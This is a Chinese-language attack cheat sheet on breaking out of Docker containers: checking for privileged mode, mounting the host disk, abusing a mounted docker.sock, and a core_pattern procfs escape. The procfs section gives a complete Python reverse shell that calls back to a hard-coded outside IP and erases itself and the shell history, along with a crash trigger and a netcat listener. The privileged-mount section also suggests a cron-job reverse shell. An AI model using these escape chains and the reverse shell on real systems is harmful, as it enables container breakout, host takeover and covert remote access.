Docker-逃逸-安全-挂载-特权 #
如何判断在不在docker环境 #
1.cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
2.检查/.dockerenv文件
3.检查mount信息
4.查看硬盘 fdisk -l
如果测试了特权不行,socket,挂载都没有,就测试docker漏洞,内核漏洞,翻数据库文件找和主目录有交集的文件
如果是JAVA应用你进去就是ROOT 就考虑逃逸
如果是WWW那么还要加一步提权到ROOT 再到逃逸
目录挂载如果有etc啊log就不确定能不能获得关键信息了
特权模式逃逸 #
docker run --rm --privileged=true -it alpine 启动交互终端 名字叫alpine 停止就删除 并且 有特权模式的docker镜像
拿去后进入一个终端可以发现根目录下就有docker特征—确定在docker里面了
判断是否是特权模式 #
cat /proc/self/status | grep CapEff
如果在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
特权模式挂载逃逸 #
特权模式查看磁盘信息
现在我们的test里面就是根目录信息
fdisk -l
mkdir /test && mount /dev/sda1 /test
挂载了 真机的物理分区 /dev/sda1 到容器内的 /test 目录,实现了容器与真机之间的 文件系统共享
往test里面对应就是根目录写入的文件对应显示真机目录
下一步写入计划任务反弹SHELL
Docker Socket 逃逸 #
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
探测存不存在sock
ls -lah /var/run/docker.sock 如果存在这个文件,说明漏洞可能存在
容器内部安docker客户端
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
安装失败就手动安装
apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin docker-ce-rootless-extras docker-buildx-plugin
执行docker命令逃逸
docker run -it -v /:/host ubuntu /bin/bash -v /:/host:将宿主机的根目录(/)挂载到容器内的 /host 目录对 /host 的操作会直接影响宿主机的文件系统
chroot /host 改变根目录
不是特权但是在docker环境并且发现sock文件
挂载成功逃逸成功
docker-procfs逃逸 #
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu 启动docker
find / -name core_pattern 检查是否存在漏洞 如果有两个就表示有
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir 检查工作目录绝对路径
安装gcc apt-get update -y && apt-get install gcc -y
找到工作目录
workdir=/var/lib/docker/overlay2/61934ad893e443d362bd64e7d78111896fefcfaaed6b550f0a185d9745465676/work 0 0
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "116.62.32.64"
lport = 5566
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
设置好反弹的IP以及端口
chmod 777 .x.py 给权限
echo -e "|/var/lib/docker/overlay2/61934ad893e443d362bd64e7d78111896fefcfaaed6b550f0a185d9745465676/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
设置好挂载路径与工作路径对应
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
gcc x.c -o x 编译
执行文件:
./x
nc -lvvp xxxx
反弹成功